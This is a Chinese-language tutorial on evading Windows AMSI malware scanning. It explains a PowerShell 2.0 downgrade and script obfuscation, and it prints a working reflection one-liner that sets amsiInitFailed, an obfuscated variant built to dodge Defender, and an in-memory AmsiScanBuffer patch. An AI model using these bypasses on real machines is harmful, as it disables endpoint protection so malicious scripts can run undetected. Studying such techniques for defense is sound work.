AMSI对抗
背景
AMSI(Antimalware Scan Interface)即反恶意软件扫描接口,是微软推出的安全模块。
AMSI实质上是一个DLL文件,位于C:\Windows\System32\amsi.dll
,提供了以下接口:
AmsiCloseSession
:关闭由AmsiOpenSession
打开的会话。AmsiInitialize
:初始化 AMSI API。AmsiNotifyOperation
:向反恶意软件提供程序发送任意操作的通知。AmsiOpenSession
:打开可在其中关联多个扫描请求的会话。AmsiResultIsMalware
:确定扫描结果是否指示应阻止内容。AmsiScanBuffer
:扫描缓冲区中的内容中寻找恶意软件。AmsiScanString
:扫描字符串中的恶意软件。AmsiUninitialize
:删除AmsiInitialize
最初打开的 AMSI API 实例。
powershell.exe
会加载amsi.dll
:
在Windows中,AMSI被集成于以下场景和功能:
- UAC
- powershell
- Windows脚本(cscript、wscript、JavaScript、VBScript)
- .NET Assembly
- WMI
对抗方法
1. 降级
默认使用环境:Windows 10
powershell 2.0及以下版本并没有接入AMSI,通过降级即可绕过。
目前常用的操作系统和预装powershell版本如下:
- Windows Server 2008:1.0
- Windows 7、Windows Server 2008 R2:2.0
- Windows Server 2012:3.0
- Windows Server 2012 R2:4.0
- Windows 10:5.0
AMSI实际从Windows 10和Windows Server 2016开始默认安装,但是只有Windows 10默认可以降级到2.0,因为2.0的powershell需要.NET2/3/3.5 Runtime支持,Windows 10默认是安装了.NET Framework 3.5的。
这并不绝对,要根据实际环境决定,管理员有可能出于某些工具或服务的需要安装了其他版本的.NET Framework.
无管理员权限时可通过查询注册表来获取安装的.NET Framework版本:
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version
有管理员权限可以直接查询是否支持powershell 2.0:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 #Windows 10
Get-WindowsFeature PowerShell-V2 #Windows Server 2016
以2.0版本启动powershell:
powershell.exe -v -version 2
或在脚本前添加:
#requires -version 2
之后使用支持2.0的攻击脚本就能不受AMSI干扰。
2. 脚本混淆
AMSI实际上是提供给杀软的接口,混淆实际上是对抗杀软的过程。
需要混淆的点实际上就是敏感的地方,如命令、函数、对象、参数等,常用方法有:
- 大小写与特殊符号
- 字符串变换
- 变量替换
- 编码
- ……
3. 关闭AMSI
既然AMSI是接口,那么是否可以让这个接口失效使其不把我们的恶意脚本传递给杀软?
对System.Management.Automation.dll
进行逆向,可以看到在System.Management.Automation.AmsiUtils
类中有一个私有静态变量amsiInitFailed
,它在ScanContent
中被使用:
可以看到这一句:
if (AmsiUtils.amsiInitFailed)
{
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
amsiInitFailed
值为False
时会返回AMSI_RESULT_NOT_DETECTED
,也就是未检测到,所以通过修改这个值就能达到让AMSI失效的目的。
命令如下:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
目前使用这条命令已经不能关闭AMSI了,应该是在Windows Defender里做了策略:
但实际很好绕过,只需要简单混淆一下即可:
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)
4. 内存patch
在AMSI的接口中,这两个的主要功能是扫描恶意软件:AmsiScanBuffer
和AmsiScanString
来看一下AmsiScanString
:
实际最终调用的是AmsiScanBuffer
,那直接看它就行。
可以看到许多if进去都是返回0x80070057
,根据if的条件推断一下,应该是返回了一个错误值,查询文档可以得知这里返回的是HRESULT
错误代码,也就是E _ INVALIDARG
,表示一个或多个参数无效。
再看看AmsiScanBuffer
原型:
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
扫描结果有害还是无害是由result
决定的,那么强制让其返回错误结束流程会不会影响结果?动手试一下,不绕过的时候会杀这个字符串:
用WinDbg开始调试,看一下AmsiScanBuffer
:
下面的汇编含义是返回对应的错误码:
mov eax,0x80070057
ret
转为机器码就是:c380070057b8
(小端序翻转)
将机器码填入函数起始地址并测试:
要注意,这里只是绕过了AMSI,文件如果落地,还有可能被杀软干掉,远程加载即可。
参考文章
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://sec-in.com/article/1115
https://fluidattacks.com/blog/amsi-bypass/